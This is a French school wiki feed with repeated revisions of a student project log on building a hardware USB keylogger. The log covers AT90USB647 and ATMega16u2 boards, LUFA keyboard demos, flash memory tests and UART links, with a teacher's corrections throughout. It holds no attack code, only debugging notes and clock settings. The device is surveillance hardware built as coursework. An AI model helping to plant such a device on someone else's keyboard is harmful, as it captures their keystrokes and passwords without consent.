Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un de mes arduino qui n'est plus fonctionnel.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]].&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écris dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]].&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]].&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrive pas encore à récupérer les touches tapés via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, et ai filmé une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]].&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'Atmega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai modifiés légèrement pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoie de caractère où j'envoie directement le code HID obtenue via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'Atmega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'ancien élève. Comme quoi la librairie LUFA est vraiment complète et fonctionnel.&lt;br /&gt;
&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire via l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner à envoyé tout les caractères lu.&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Keylogger_Keyboard_To_PC.jpg&amp;diff=752</id>
		<title>Fichier:Keylogger Keyboard To PC.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Keylogger_Keyboard_To_PC.jpg&amp;diff=752"/>
		<updated>2023-08-08T10:06:08Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;On observe les connexions d'alimentation et UART du Keylogger pour lié l'AT90 et l'Atmega&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=751</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=751"/>
		<updated>2023-08-08T10:03:22Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Ajout du lien vers les programmes&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je développe la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]].&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, seulement que les LEDS ont été soudés à l'envers. &lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un de mes arduino qui n'est plus fonctionnel.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]].&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écris dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]].&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]].&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrive pas encore à récupérer les touches tapés via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, et ai filmé une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]].&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'Atmega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai modifiés légèrement pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoie de caractère où j'envoie directement le code HID obtenue via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'Atmega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'ancien élève. Comme quoi la librairie LUFA est vraiment complète et fonctionnel.&lt;br /&gt;
&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire via l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner à envoyé tout les caractères lu.&lt;br /&gt;
